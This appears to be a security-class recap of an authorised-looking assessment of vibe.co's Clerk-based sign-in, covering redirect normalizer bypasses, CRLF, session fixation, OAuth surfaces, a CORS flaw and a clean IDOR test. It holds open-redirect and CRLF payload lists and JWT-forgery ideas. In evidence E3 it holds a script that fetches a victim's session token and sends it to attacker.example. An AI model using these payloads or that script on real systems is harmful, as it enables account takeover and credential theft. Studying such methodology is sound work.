Takopi Class  /  Recap

Session 04

We pick up exactly where session 03 stopped. The backend open redirect is real but gated by a client-side normalizer, and the full Clerk-brokered OAuth flow is now mapped. This session goes after the two things that were left standing: break the normalizer so the redirect fires from a link, and open up the brokered session surface, the __clerk_handshake and a possible __client fixation. The frame: we proved the mechanism last week, now we attack the one guard between us and a finding.

Summary of findings

From section 00

Where we stand after session 03

Two legs of last week closed, one stayed open. The redirect is a dead end only as a standalone, link-delivered bug, because a client-side normalizer rewrites the host before the value is stored. Everything this session attacks sits on one of these three facts.

Proven
  • Backend open redirect exists, a mid-flow edit of action_complete_redirect_url sends the 307 to any host
  • Second-order sink, the value is stored in server session keyed to __client and replayed into Location after OAuth
  • Full OAuth flow mapped, www.vibe.co → clerk.vibe.co → Google → clerk.vibe.co → www.vibe.co
Still open
  • The normalizer, from a link an external host is dropped to /dashboard, so the redirect never fires for a victim
  • CRLF, no newline survived into the stored value on the first try
  • The session surface, the __clerk_handshake and a possible anonymous __client fixation are untouched
One guard, one finding. The backend already redirects anywhere. The only thing standing between that and a live open redirect delivered from a sign-in link is the client-side JS that forces the host to www.vibe.co. Beat that one function and the dead mid-flow bug becomes real.
  1. 00bThe map shows a Next.js front over three back planesTarget: www.vibe.co, clerk.vibe.co, clear-platform.vibe.co, cdn.apps.vibe.coInfoDone, from sessions 01 to 03
  2. 00cClerk wrote the auth code. Vibe owns the configurationTarget: clerk.vibe.co and api.vibe.coNoteBoundary set, one check open
  3. 01The lead to break the redirect_url normalizer has no resultTarget: The sign-in link, redirect_urlNot ratedOpen, not run
  4. 02The CRLF retry has no resultTarget: action_complete_redirect_url, the 307 Location headerNot ratedOpen, not run
  5. 03The handshake and the __client fixation have no resultTarget: clerk.vibe.coNot ratedOpen, not run
  6. 04The Google leg has no resultTarget: The Google authorize URL, clerk.vibe.co/v1/oauth_callbackNot ratedOpen, not run
  7. Run 1The fuzz finds the Clerk OAuth and v1 endpointsTarget: clerk.vibe.coInfoDone, tested live
  8. Run 2The discovery document lists the OAuth map. Two endpoints are not in itTarget: clerk.vibe.co/.well-known/openid-configurationInfoDone, tested live
  9. Run 3The CORS allowlist can turn a subdomain XSS into account takeoverTarget: clerk.vibe.co/v1/clientNot ratedExploit not run on the target
  10. Run 4The developer app OAuth runs on api.vibe.co. Its redirect_uri check is not testedTarget: api.vibe.co/oauth2/authNot ratedOpen, not tested
  11. Run 5The server blocks a foreign app idTarget: regenerateApplicationCredentials on clear-platform GraphQLNoneTested live, no bug
  • Not rated A lead or a chain. It is not proven on the target.
  • Info Groundwork. No security effect is claimed.
  • None Tested on the target. No bug.
  • Note A method or a lesson. Not a test result.

Scope

Session

Asset vibe.co sign-in · clerk.vibe.co Carried in from session 03 Lead 1 normalizer bypass Lead 2 CRLF retry Lead 3 Clerk session surface Date 2026-10-04
Front
www.vibe.co
Auth plane
clerk.vibe.co
Product API
clear-platform.vibe.co/graphql and /rest
App OAuth
api.vibe.co/oauth2/*
CDN
cdn.apps.vibe.co

Where each test ran

  • Live on the target: Run 1, Run 2, Run 3 and Run 5
  • Read only: 00b, the map from earlier sessions, and the Run 4 docs
  • Not started: leads 01 to 04, the Run 3 exploit and the Run 4 tests

Findings

Each card is one result. The number is the section number of the original recap. Long code is in Evidence.

00bInforead · the recon snapshot

Target map, narrow recon

Target

The front www.vibe.co and the hosts behind it: clerk.vibe.co, clear-platform.vibe.co and cdn.apps.vibe.co.

Impact
The shape in one line. A Next.js SPA front (www.vibe.co) over three back planes, Clerk auth (clerk.vibe.co), a GraphQL product API (clear-platform.vibe.co) and an S3 CDN (cdn.apps.vibe.co), where the whole account hangs off one anonymous-then-bound handle, __client, and every *.vibe.co origin is CORS-trusted by the auth plane. That last fact is why any XSS anywhere on the apex is an ATO, carried from session 02.
Steps

The recon questions, answered from what sessions 01–03 and the cold capture actually showed. This is the snapshot we build on, the dig later column is where each row goes next.

Evidence

Recon questions and answers

QuestionAnswer so farDig later
What is the front?www.vibe.co, a Next.js SPA, Vercel origin behind Cloudflare (cf-ray, __cf_bm, cf_clearance)map every *.vibe.co front (CDN, dashboards from session 02), fingerprint each stack
ArchitectureSingle-page app on Next.js App Router, Turbopack bundles under /_next/static/immutable/chunkspull the route manifest out of the bundle, list every client route
 ↳ RenderingSSR prerendered shell (sign-in served signed-out as HTML) then CSR hydration, RSC payloads over ?_rsc= — XSS surface in both the SSR HTML and the CSR DOM sinksclassify each sink SSR-reflected vs DOM, confirm the stored howItWorks render context (session 02)
 ↳ RoutingNext.js App Router, client-side nav + server components, the auth routes boot Clerk (sign-in, sign-up, sso-callback, welcome)enumerate routes, feeds lead 1D (other routes)
What is the API?UI www.vibe.co (RSC + server actions + /api/*), auth clerk.vibe.co (Clerk FAPI /v1/*, vendor), product clear-platform.vibe.co/graphql + /rest, app-developer OAuth api.vibe.co/oauth2/* (vibe, docs at developers.vibe.co), CDN cdn.apps.vibe.co (S3)GraphQL introspection on clear-platform, mine developers.vibe.co for the full product API, test api.vibe.co/oauth2 redirect_uri (Run 4)
Authentication factor__client, the Clerk device handle, minted anonymous by GET /v1/client then bound to the user after Google OAuththe fixation lead (lead 3), can we plant our __client in a victim
Where the AF is storeda cookie, Domain=clerk.vibe.co, HttpOnly; Secure; SameSite=Lax; Max-Age=315360000, paired with __client_uat (Domain=vibe.co, JS-readable signed-in hint) and __session (Domain=vibe.co, the RS256 session JWT, not HttpOnly, so JS reads it for the GraphQL bearer, see Run 3)the __clerk_handshake bundle (lead 3), what signs and verifies it
How it passes dataUI on www.vibe.co, APIs on clerk.vibe.co and clear-platform.vibe.co/graphql, encodings application/x-www-form-urlencoded (FAPI writes) and application/json (GraphQL), JSON responsesdoes the FAPI accept a JSON body, is there method or content-type confusion
How it handles users (schemes)Clerk-brokered Google OAuth, a cookie scheme (__client, __client_uat, __ck_csrf_token) at the FAPI, and a bearer JWT scheme (the RS256 __session) sent as Authorization to the product GraphQL, not cookies, and clerk.vibe.co CORS is ACAC:true to all *.vibe.codecoded in Run 3, RS256 60s, carries identity + org_role, minted at /v1/client/sessions/<sid>/tokens, still confirm GraphQL rejects cookie-only
Status

Done. This is the snapshot from sessions 01 to 03. The Dig later column lists the next tests.

00cNotenote · who wrote the code, Clerk or vibe

The vendor boundary, Clerk is a third party

Target

No single target. This note splits the map by who wrote the code: clerk.vibe.co against the hosts vibe owns.

Impact
What this does to the leads. The normalizer (lead 1), the CRLF sink (lead 2), the handshake and the __client fixation (lead 3), the Google leg (lead 4) all live in Clerk's code, so they are vendor-generic, likely out of vibe's scope, and better sent to Clerk than chased as a vibe finding. What is genuinely vibe's and pays is the configuration, the ACAC:true allowlist to all *.vibe.co is vibe's own decision and turns any apex XSS into ATO, plus the GraphQL platform, the uploads and the stored-XSS fields from session 02. Prioritize vibe-owned surface, treat the Clerk leads as vendor research.
Steps

One thing reframes every lead below. clerk.vibe.co is not vibe's code. Clerk is a commercial authentication-as-a-service vendor, and clerk.vibe.co is just Clerk's Frontend API on a vanity domain, a CNAME onto Clerk's infra (x-clerk-instance-id: ins_2TKx..., pk_live_..., the bundle served from clerk.vibe.co/npm/@clerk/clerk-js). It reads first-party because of the subdomain, it is not. So before chasing the sign-in flow, split the map by who wrote the code.

One caveat to check first. Confirm the redirect_url normalizer is stock clerk-js and not a vibe wrapper around it. If vibe wrote a custom redirect handler on top of Clerk, that part flips back in scope. Same question for any vibe code that post-processes the Clerk session or the handshake.
The API version is a vendor knob too. Every FAPI call pins __clerk_api_version=2026-05-12 (echoed in the clerk-api-version response header), and 2021-02-05 is Clerk's oldest baseline version. Downgrading it (the Clerk-API-Version header or the __clerk_api_version query param, never both, Clerk rejects both at once) and diffing responses is a Clerk-side probe, interesting but vendor-generic, note it and move on unless a vibe wrapper depends on the old shape.

Three OAuth surfaces, do not conflate them

There is not one OAuth here, there are three, and the boundary runs right between them. Getting this wrong wastes a session on vendor code.

Correction to Run 1. Run 1 guessed the createApplication apps were exercised at clerk.vibe.co/oauth. They are not. The developer app you register (Client ID, secret, Redirect URLs) runs on vibe's own OAuth2 server at api.vibe.co/oauth2 (documented, see Run 4), a different host from the Clerk IdP. clerk.vibe.co/oauth is Clerk logging a user in, api.vibe.co/oauth2 is a third-party app getting authorized to a vibe account. The redirect_uri allowlist on the second one is vibe's to validate, so a bypass there is a vibe finding, not a Clerk one.
Evidence

Who wrote each surface

SurfaceWho wrote itIn scope for vibe
FAPI /v1/*, __client, __clerk_handshake, the API-version machinery, the clerk-js bundle incl. the redirect_url normalizerClerk, generic, shared by every Clerk tenantusually no, a flaw here is a Clerk bug, reported to Clerk, and it is a hardened target
www.vibe.co Next.js app, clear-platform.vibe.co/graphql, cdn.apps.vibe.co uploads, the stored fields, and the Clerk configuration (the *.vibe.co CORS allowlist, redirect/fallback URLs, OAuth redirectUrls/scopes)vibeyes, this is the real program surface

The three OAuth surfaces

OAuth surfaceHost / endpointsOwnerScope
Clerk IdP, “sign in with vibe” / scoped accessclerk.vibe.co/oauth/authorize, /token, /userinfo, /registerClerkvendor, mostly OOS
App-developer OAuth, the one the “Create application → Authentication” screen configuresapi.vibe.co/oauth2/auth, /oauth2/tokenvibein-scope
Product APIclear-platform.vibe.co/graphql + /restvibein-scope
Status

Open. One check is open. Confirm that the redirect_url normalizer is stock clerk-js.

01Not ratedplanned · Lead 1 · the direct continuation, Clerk / vendor code, confirm it is not a vibe wrapper

Break the normalizer

Target

The redirect_url on the sign-in link and the stored action_complete_redirect_url. The code is Clerk's clerk-js bundle.

Impact
The source gives no result for this lead yet. A bypass that keeps an off-apex host in the stored value makes the redirect work from a link.
Steps

From the sign-in link, a relative redirect_url is kept and expanded to www.vibe.co, but an absolute external host is thrown away and replaced with the default /dashboard. Some client-side function normalizes the value before it reaches the stored action_complete_redirect_url. Three moves: locate it, decide where it runs, then throw the bypass matrix at its host check.

A · locate the function

Carried straight from session 03, the sign_ins POST is assembled in JS, so the transform leaves three traces. Map the casing first or the greps find nothing:

pseudo
// on the wire        ->  in the JS  (grep the camelCase)
action_complete_redirect_url  ->  actionCompleteRedirectUrl   // the thread end
redirect_url                  ->  redirectUrl                 // the source
// and the call site
grep  sign_ins | fetch(
Deduce, do not read top to bottom. The field name must be built in code, the request must be sent from code, and the value must be read from the query string. Three greps land on the field, the call site and the source, and the normalizer sits on the path between redirectUrl and actionCompleteRedirectUrl.

B · on load, or on request

The host check fires in one of two places, and that decides where the breakpoint goes and what a bypass has to slip past. Set a breakpoint at both ends and watch which one flips our external host to the default.

1 · on load
  • Sanitizes as the query string is read, stores the clean value
  • Break on URLSearchParams / the page-load read of redirect_url
2 · on request
  • Carries the raw value, sanitizes only when fetch builds the body
  • Break on the sign_ins fetch call

C · the bypass matrix

Once the check is located, run these against redirect_url on the sign-in link and read back what each becomes in the stored action_complete_redirect_url. The target external host is one we control, e.g. vibe.computer. A result that keeps an off-apex host in the stored value is the win.

Where the test is decided. If the check runs on the browser URL parser's output, the backslash and protocol-relative tricks are the live candidates. If it runs on the raw string with startsWith / includes, the suffix-match and @ tricks are. The breakpoint in step B tells us which family to lean on, so we do B before we spend requests on the whole matrix.

D · widen the surface, other params and other routes

Two TODOs from the live JS read. redirect_url is a DOM source, read off the URL query by the sign-in bundle, and we have a hook on the exact read. That hook generalizes, one breakpoint on the searchParams read lets us walk every other param and every other route through the same normalizer, and the bypass may already live one param or one route over.

Other parameters
  • redirect_url is the hook we have, a DOM source we can leverage from the breakpoint
  • What about the others? Enumerate every query param the bundle reads from location and feeds into the Clerk request, candidates like sign_in_force_redirect_url, sign_up_force_redirect_url, after_sign_in_url, __clerk_ticket, __clerk_status
  • Each is another source to the same sink, test whether the normalizer covers it or guards redirect_url alone
Other routes
  • We mapped the sign-in route, the normalizer lives on its path
  • What about the others? The routes that also boot Clerk, sign-up, sign-in/sso-callback, welcome, the AuthenticateWithRedirectCallback handler
  • A sibling route may build action_complete_redirect_url without the same host check, so the dead redirect may be live one route over
The method is one breakpoint, then breadth. Hook the query-string read once, then feed it the full param list and visit it from each Clerk route. We are not looking for a cleverer payload against one guard, we are looking for an input that reaches the sink without passing the guard at all.
Evidence

The bypass matrix, part C

Payload in redirect_urlTechniqueStored value
//vibe.computer/xprotocol-relative, no scheme for a naive startsWith("http") checkto verify
https:/vibe.computer/xsingle-slash scheme, parser-dependent host splitto verify
https:\/\/vibe.computer/xbackslash scheme, normalized to // by the browser URL parserto verify
/\vibe.computer/xslash-backslash, treated as protocol-relative by some parsersto verify
https://[email protected]/x@ userinfo, host is what follows the last @to verify
https://vibe.computer\.vibe.co/xbackslash before the allowed suffix, host ends at the backslashto verify
https://vibe.computer#.vibe.co / ?.vibe.cofragment / query makes the allowed suffix part of the path, not the hostto verify
https://vibe.co.vibe.computer/xsuffix-match abuse, allowed string present but not the real hostto verify
https://vibe.computer%2F.vibe.co · %09 · %00encoded slash, tab, null, decoded after the host checkto verify
https://vibe.cocomputer / case · trailing dot www.vibe.co.loose host comparison, substring or missing normalizationto verify
Status

Open. The source marks every stored value as to verify.

02Not ratedplanned · Lead 2 · the same sink, header context, Clerk / vendor code

CRLF, a second look

Target

The stored action_complete_redirect_url, replayed into the Location header of the 307.

Impact
The source gives no result for the retry yet. A surviving CR or LF would split the response and inject headers.
Steps

The stored value is replayed into a Location header, so a surviving CR or LF splits the response and injects headers. First try found nothing, but now we know the normalizer is in the path, so the retry is about getting a newline past the same guard, not just at it. Encodings to push through the stored field and read back at the 307:

Tie it to the normalizer result. Whatever bypass slips a host past the check in lead 1 is the same channel to try the newline through. If the on-request path carries the value raw until fetch, that is the better injection point for CRLF than the on-load path.
Evidence
pseudo
%0d%0a  %0a  %0d            # raw CR/LF, plain
%250d%250a                  # double-encoded, if the value is decoded twice
%E5%98%8A %E5%98%8D         # overlong / unicode newline (CVE-pattern, parser normalizes to 0d/0a)
redirect_url=/x%0d%0aSet-Cookie:%20z=1   # the goal: a second header in the 307
Status

Open. The first try found nothing. The source gives no result for the retry.

03Not ratedplanned · Lead 3 · the higher ceiling, Clerk / vendor architecture

The Clerk session surface

Target

clerk.vibe.co, the __clerk_handshake bundle and the anonymous __client cookie.

Impact
The source gives no result for this lead yet. It calls this lead the one with the higher ceiling.
Steps

The redirect hunt forced a full read of the brokered flow, and that is where the impact actually lives. The __client cookie trades for the whole account (session 02), and two moments at clerk.vibe.co mint and upgrade it. Both are worth a direct attack.

The __clerk_handshake bundle

On the oauth_callback the broker sets __clerk_handshake, a base64 bundle of Set-Cookie directives including the __session JWT, Max-Age=70. Questions to answer:

  • Decode it, what is inside beyond __session, and is any part attacker-influenced
  • What signs it, is it a Clerk JWKS we can read, and is the signature actually verified on the apex that consumes it
  • Can a captured handshake be replayed inside its 70s window, or forged if the signing check is weak (alg:none, HS/RS confusion, kid abuse) → hand to broken auth

The anonymous __client fixation

The lead from session 02, now testable against the mapped flow. the anonymous __client is minted at init by GET /v1/client (sessions: [], __client_uat=0), sign_ins rotates it, and the callback binds the same handle to the user. If we can plant our anonymous handle in a victim before they finish Google login, their session binds to our __client.

The test, in order.

Flow chart 1How does the attacker bind a victim to the planted handle?
Attacker Victim Clerk plant it log in callback if yes Mint an anon client Store our handle Finish the Google login Bind ours? Act as the victim 1 2 3 4 5
  • Start or end
  • Action
  • Decision
  • Attack path
  • Step number
  1. Mint an anonymous __client as the attacker.
  2. Find a vector to set it in the victim's browser for clerk.vibe.co / vibe.co (a Set-Cookie primitive, a surviving redirect, a subdomain XSS from session 02).
  3. Have the victim complete Google login.
  4. Check whether the callback upgrades our handle,
  5. and whether the attacker copy is now authenticated as the victim. This is the chain that would make the whole flow pay.
Evidence

The source gives no code or request for this lead.

Status

Open. The source gives no result for the handshake or for the fixation test.

04Not ratedplanned · Lead 4 · the broker's edges, Clerk / vendor code

The Google leg

Target

The Google authorize URL and clerk.vibe.co/v1/oauth_callback.

Impact
This is where lead 1 and lead 3 meet. An open redirect is low on its own. An open redirect that fires on the OAuth leg and carries the authorization code or the handshake to an attacker host is critical. The impact ceiling of session 04 is decided by whether the redirect can be aimed at a response that holds a secret.
Steps
  • Is redirect_uri on the Google authorize URL locked to clerk.vibe.co/v1/oauth_callback, or is there room to move it, the classic token-theft leg
  • Is state bound to the client and verified on return, or can it be fixed / replayed
  • Does the open redirect, if lead 1 lands, reach a point on this leg where it carries a code or token, which is the difference between a landing-page redirect and account takeover
Evidence

The source gives no code or request for this lead.

Status

Open. The source gives no result for the Google leg.

●Running log

Filled in as we run, in discovery order. What the target did, not what we expected it to do.

Run 1Infotested live · ffuf on /oauth/FUZZ and /v1/FUZZ

Run 1 · surface fuzz of clerk.vibe.co

Target

clerk.vibe.co, the paths /oauth/FUZZ and /v1/FUZZ.

Impact
Leads it opens, filtered through the vendor boundary (00c). Most of /v1 is Clerk-generic. The clerk.vibe.co/oauth IdP is Clerk logging a user in (vendor), not where the createApplication apps live, those run on vibe's own api.vibe.co/oauth2 (three OAuth surfaces, Run 4). Still, a couple of the Clerk endpoints are worth a quick poke before the pivot, three concrete next steps, (1) POST /oauth/register, is dynamic client registration open and unauthenticated, if anyone can register an OAuth client that is a finding on its own, (2) drive /oauth/authorize for a real vibe app and test redirect_uri / scope / state validation, the OAuth token-theft leg, (3) read /v1/environment, it is an unauth dump of enabled strategies, social connections and allowed origins, pure recon that widens the map.
Steps

Starting from one known endpoint, /oauth/authorize (a 302), we fuzzed /oauth/FUZZ and /v1/FUZZ to expand the surface. Calibrated the ffuf filter by deliberately seeding authorize in the wordlist, baseline not-found is 404 size 19, so -fs 19 drops the noise and anything else is real.

Methodology nugget, the WAF broke the fuzz twice before it worked. A first broad blast (10k words, 25 threads) tripped Cloudflare rate-limiting in front of clerk.vibe.co, which then served a uniform throttle page instead of the real 404. That silently poisoned both filter strategies, -ac auto-calibration learned the throttle page and filtered everything, while -fs 19 saw its non-19 size and matched everything. Same cause, opposite symptom, both garbage. Fix, slow down and look human, -t 3 -p 0.4 plus a real browser User-Agent, then the real per-endpoint codes came back. On a WAF-fronted vendor host, verify a known-good and a known-bad path return their expected distinct responses before trusting a single ffuf row.
Evidence

Endpoints found by the fuzz

EndpointStatusRead
/oauth/authorize302 → /oauth/authorize/continueOAuth2 authorize, the IdP entry
/oauth/token405token exchange, POST only
/oauth/token_info405token introspection, POST
/oauth/device_authorization405device flow, POST (RFC 8628)
/oauth/register405dynamic client registration, POST (RFC 7591)
/oauth/userinfo401OIDC userinfo, needs a bearer
/v1/client200the anon client mint, known from 00
/v1/environment200, 14 KBinstance config dump, unauthenticated
/v1/me, /v1/organizations401current user / orgs, need a session
/v1/oauth_callback301the OAuth return leg, known from 00
/v1/dev_browser, /v1/waitlist405dev-browser handshake / waitlist, POST
/v1/health, /v1/proxy-health200 / 400health probes
/v1/verify403, 5.7 KB, 6 msfast 403 with a large body, smells like a bot-check interstitial, confirm
Status

Done. The fuzz gave the table. The per-endpoint codes came back after the slower settings.

Run 2Infotested live · the discovery document

Run 2 · the authoritative OAuth map, discovery beats the fuzz (mostly)

Target

clerk.vibe.co, /.well-known/openid-configuration and /.well-known/oauth-authorization-server.

Impact
A chain forms from the config alone. private_metadata is an offerable scope, response_mode=query puts the code in the URL, auth_method=none allows public clients, and /oauth/register is an unadvertised, open-looking registration endpoint. If a public client can self-register with an attacker redirect_uri and request private_metadata, that is code and private-metadata theft against vibe-tenant users, the lead 4 token-theft leg with a concrete entry point.
Steps

Because Clerk is a third party with a published spec (00c), we do not have to brute the OAuth surface, the instance serves it. GET /.well-known/openid-configuration (and the RFC 8414 /.well-known/oauth-authorization-server) returned the full map in one request:

The docs are not the whole surface. Discovery advertises no registration_endpoint and no device_authorization_endpoint, yet Run 1's fuzz hit /oauth/register and /oauth/device_authorization (both exist, 405). So the published map and the fuzz are complementary, the unadvertised endpoints are the ones worth a second look. Grab the authoritative list, then fuzz for what it hides.
Status

Done. The unadvertised endpoints are the ones the source marks for a second look.

Run 3Not ratedtested live · the bearer and the CORS chain

Run 3 · the GraphQL bearer, and why the CORS chain is one-click ATO

Target

clerk.vibe.co/v1/client, the tokens endpoint /v1/client/sessions/<sid>/tokens and the product API clear-platform.vibe.co/graphql.

Impact
The one-click ATO (carried from session 02, now mechanized). clerk.vibe.co/v1/client answers cross-origin with Access-Control-Allow-Credentials: true and an Access-Control-Allow-Origin that trusts every *.vibe.co origin. So an XSS on any *.vibe.co subdomain, even a no-impact one like the CDN XSS, can read the victim's account and token across origins and ship them out. A dead subdomain XSS becomes account takeover on one page load:[UNCLEAR IN SOURCE]
Steps

The product API (clear-platform.vibe.co/graphql) authenticates with a bearer, and we found exactly how the client gets it. JavaScript mints a fresh session JWT by calling the FAPI tokens endpoint:

Decoded, that JWT is the whole identity, short-lived and signed RS256 under the instance key (kid = the x-clerk-instance-id from the cold capture):

The token is JS-reachable, by design. The JS stores this JWT in a __session cookie and reads it back to set the Authorization bearer on the GraphQL calls, so __session is not HttpOnly (unlike __client). Any script on the origin can read __session directly, or just re-mint one by hitting the tokens endpoint, or go one better and hit /v1/client, which returns the identity and a fresh session in a single credentialed call.
Flow chart 2How does a subdomain XSS reach the account?
Victim page Clerk Attacker loads cookies reply beacon Load the XSS page Fetch with cookies Send identity and token Beacon the data out Receive the victim data 1 2 3 4 5
  • Start or end
  • Action
  • Attack path
  • Step number
  1. the victim// runs on any *.vibe.co origin (e.g. the CDN XSS), victim just loads the page
  2. the pagefetch('https://clerk.vibe.co/v1/client'credentials: 'include' // browser attaches the victim's clerk cookies
  3. clerk.vibe.co// identity + a fresh session JWT, readable cross-origin
  4. the pagenavigator.sendBeacon('https://attacker.example/x', JSON.stringify(data.response))
  5. the attackerhttps://attacker.example/x
Boundary call on this one. The CORS allowlist being the entire *.vibe.co apex is a vibe configuration choice, that is the in-scope finding and the one that pays, it turns every apex XSS into ATO. The non-HttpOnly __session is a Clerk default (vendor), but it widens the primitive, a script does not even need the fetch, it can read the cookie. The exploit's severity rests on the vibe-owned config, not the Clerk default.
Status

Open. The source shows the exploit code. It does not say the code ran on the target.

Run 4Not ratedread · developers.vibe.co docs

Run 4 · the app-developer OAuth, vibe's own server (api.vibe.co/oauth2)

Target

api.vibe.co/oauth2/auth and api.vibe.co/oauth2/token.

Impact
Why this one is the lead. Unlike clerk.vibe.co/oauth, api.vibe.co/oauth2 is vibe's code, so its redirect_uri validation is vibe's to get right, and this is session 02's P1, redirectUrls[] → redirect_uri bypass → code theft, with the real endpoint finally named. The tests, (1) the docs claim exact match, so attack it, suffix (...redirect/evil), extra path, open subdomain, @ userinfo, encoded %2f / %2e, trailing dot, and read whether /oauth2/auth ships the code to an off-allowlist host, (2) state is app-generated, check if /oauth2/auth even requires it, a missing requirement is login CSRF, (3) scope, request more than the app was granted (campaigns:read vs write/admin scopes), (4) the app metadata is cross-tenant, the <b>test1 name and the &quot; Installation URL are stored-XSS probes that render on the consent and marketplace surfaces shown to other tenants.
Steps

Creating an app under Integrations → My applications exposes an Authentication tab, and that is the entry to a third OAuth surface, vibe's own (not Clerk's). You register your app as an OAuth client or pick API Key, and vibe hands you a Client ID, a regeneratable secret, a Redirect URLs allowlist and an Installation URL. It is the createApplication platform from session 02, now with the auth model attached.

Yes, it is documented, at developers.vibe.co. The flow docs name the real endpoints, and they are on api.vibe.co, a host neither the fuzz nor the archive dump had surfaced:
Flow chart 3How does an app get a token from api.vibe.co?
App api.vibe.co GET code POST Send the authorize GET Return a code Send the token POST Return both tokens 1 2 3 4
  • Start or end
  • Action
  • Step number
  1. the appGET https://api.vibe.co/oauth2/auth?client_id=...&redirect_uri=...&response_type=code&scope=campaigns:read&state=...
  2. api.vibe.coReturns the code for response_type=code
  3. the appPOST https://api.vibe.co/oauth2/tokenBasic auth = base64(client_id:client_secret)
  4. api.vibe.coaccess_token (JWT, 30 min) + refresh_token (90 day) + token_type: Bearer
Status

Open. The source lists four tests in the impact. It gives no result for them.

Run 5Nonetested live · regenerateApplicationCredentials

Run 5 · IDOR / BAC on applications, the UUIDv4 wall and a clean negative

Target

The mutation regenerateApplicationCredentials on the clear-platform GraphQL API, and the app edit view.

Impact
Verdict, closed. owned → success, nonexistent → NOT_FOUND, foreign-existing → FORBIDDEN, and no input variant resolves a foreign app while skipping the ownership check. The authorization is enforced server-side per application, not in the client, so this is a clean negative, not a lead. Query shapes came from the captured request and the live UI, since introspection is off.
Steps
The frame, a UUIDv4 IDOR is NA by default. A v4 object id is random, so an IDOR on one is not a bug unless you can source the victim's id, and that is a narrow-recon job, an invite to your page, a public profile, or a JS endpoint that leaks it. UUIDv1 is the exception, it is timestamp and MAC based, so it is predictable and enumerable, treat a v1 id as vulnerable. vibe's app ids are v4.

Read path. The app edit view is SSR and loads by id, www.vibe.co/dashboard/settings/my-applications/<uuid>/edit?tab=authentication. With a foreign app id lifted from a captured request (0103a7ce-...), the view does load another app, but only its public fields render, so the read is not a finding on its own.

Write path. The state-changing mutation regenerateApplicationCredentials on clear-platform GraphQL was hit with a full broken-access-control battery. Baselines first, then every bypass shape against a foreign app id:

One residual worth a look. The foreign-app read renders “only public data”, but confirm field by field what the ?tab=authentication SSR response holds for an app you do not own, specifically its Redirect URLs and Installation URL. If a target app's registered redirect_uri list leaks, that is not a bug by itself but it hands Run 4's redirect_uri bypass its exact target string.
Evidence

The broken access control battery

TestResult
own app id (baseline, “owned”)200 success, new clientSecret returned
nonexistent id 00000000-0000-4000-8000-000000000000200 NOT_FOUND
foreign app id, org-A session (decisive)200 FORBIDDEN, “no permission to regenerate credentials”
field aliasing, a: own + b: foreign in one opFORBIDDEN
operation batching, array of two mutationsBAD_REQUEST, “batching disabled”
alias reorder, foreign first then ownFORBIDDEN
case variation, uppercased UUIDNOT_FOUND, lookup is case-sensitive
whitespace, trailing-space UUIDNOT_FOUND, no trim or normalize gap
schema introspectionINTROSPECTION_DISABLED (Apollo prod)
Status

Tested live, no bug. The source calls the verdict closed, a clean negative.

Evidence

This section has the long code. Click an item to open it. Use Copy to copy a code block.

E1The discovery maptested live · GET /.well-known/openid-configuration

Evidence for Run 2.

pseudo
issuer                 https://clerk.vibe.co
authorization_endpoint /oauth/authorize
token_endpoint         /oauth/token
revocation_endpoint    /oauth/token/revoke
introspection_endpoint /oauth/token_info
userinfo_endpoint      /oauth/userinfo
jwks_uri               /.well-known/jwks.json
scopes_supported       openid profile email offline_access user:org:read public_metadata PRIVATE_METADATA
response_modes          form_post, QUERY        response_types: code     pkce: S256     id_token: RS256
token_endpoint_auth     client_secret_basic, client_secret_post, NONE   (public clients allowed)
E2Token request and decoded JWTtested live · the GraphQL bearer

Evidence for Run 3.

The token request and response

http
GET /v1/client/sessions/sess_3KEYX68PcwZYS53OIleZwfDyiKg/tokens?__clerk_api_version=2026-05-12 HTTP/2
Host: clerk.vibe.co

{"object":"token","jwt":"eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc18yVEt4...trimmed"}

The decoded token

pseudo
header   { alg: RS256, kid: ins_2TKxc1HOj6ivupOOv5VHmAAYJCL, typ: JWT }
payload  { azp: https://www.vibe.co, iss: https://clerk.vibe.co, exp-iat: 60s,
           sub: user_3JsPbMrpreSZcGAPO8En23DqhgG, sid: sess_3KEYX68...,
           user_email: [email protected], org_id: org_3JsPbYt..., org_role: ADMIN,
           public_metadata: { external_id: 134315 }, sts: active }
E3The steal scriptscript · runs on any *.vibe.co origin

Evidence for Run 3.

js
// runs on any *.vibe.co origin (e.g. the CDN XSS), victim just loads the page
async function steal() {
  const r = await fetch('https://clerk.vibe.co/v1/client', {
    method: 'GET',
    credentials: 'include'          // browser attaches the victim's clerk cookies
  });
  const data = await r.json();        // identity + a fresh session JWT, readable cross-origin
  navigator.sendBeacon('https://attacker.example/x', JSON.stringify(data.response));
}
steal();
E4The documented endpointsread · developers.vibe.co

Evidence for Run 4.

pseudo
authorize   GET  https://api.vibe.co/oauth2/auth
            ?client_id=...&redirect_uri=...&response_type=code&scope=campaigns:read&state=...
token       POST https://api.vibe.co/oauth2/token      # Basic auth = base64(client_id:client_secret)
            -> access_token (JWT, 30 min) + refresh_token (90 day) + token_type: Bearer

grants      authorization_code  (user authorizes your app)   |   client_credentials  (server to server)
docs        /docs/start-your-oauth-flow  /docs/start-your-client-credentials-flow
            /docs/universal-authorization  /docs/migration-guide-from-api-key
            /reference/oauth2authorize  /reference/oauth2token
redirect    "Each URI must exactly match the redirect_uri in your authorization requests"

Open items

▶Order of attack

  1. Settle the boundary first (00c). Confirm the normalizer is stock clerk-js, if it is, leads 1–4 are vendor research for Clerk, and the session pivots to vibe-owned surface, the GraphQL platform, the *.vibe.co CORS config and the uploads
  2. Locate + breakpoint the normalizer (1A, 1B). One breakpoint run tells us the function and whether the check is string-based or parser-based, which halves the matrix
  3. Run the matrix family that fits (1C). Stop at the first payload that keeps an external host in the stored value
  4. Widen (1D). With the hook on the searchParams read, walk every other URL param and every other Clerk route through the same normalizer, the bypass may live one param or one route over
  5. CRLF through the same channel (02), reusing whatever bypass or raw-carry path lead 1 exposed
  6. In parallel, decode __clerk_handshake (03), cheap and independent of the redirect, and check whether its signature is verified
  7. Set up the __client fixation test (03), the highest-impact lead, needs a planting primitive first
  8. Probe the Google leg (04) only to decide the impact ceiling once a redirect or fixation lands
Why this order. Leads 1 and 2 are the direct continuation and the cheapest to settle, one breakpoint unblocks both. Lead 3 is where the real severity is but needs a planting primitive, so it runs in the background while the redirect is being settled. Lead 4 is a multiplier, not a starting point.

●Open questions, carried from session 03 [UNCLEAR IN SOURCE]

  • Can the JS normalizer be bypassed so an external host reaches the stored value from a link
  • Which exact JS function reads redirect_url and builds actionCompleteRedirectUrl, and what is its host-check logic
  • Does the protection run on load or on request
  • Besides redirect_url, which other URL params does the sign-in bundle read and feed to Clerk, and does the normalizer cover them or only redirect_url
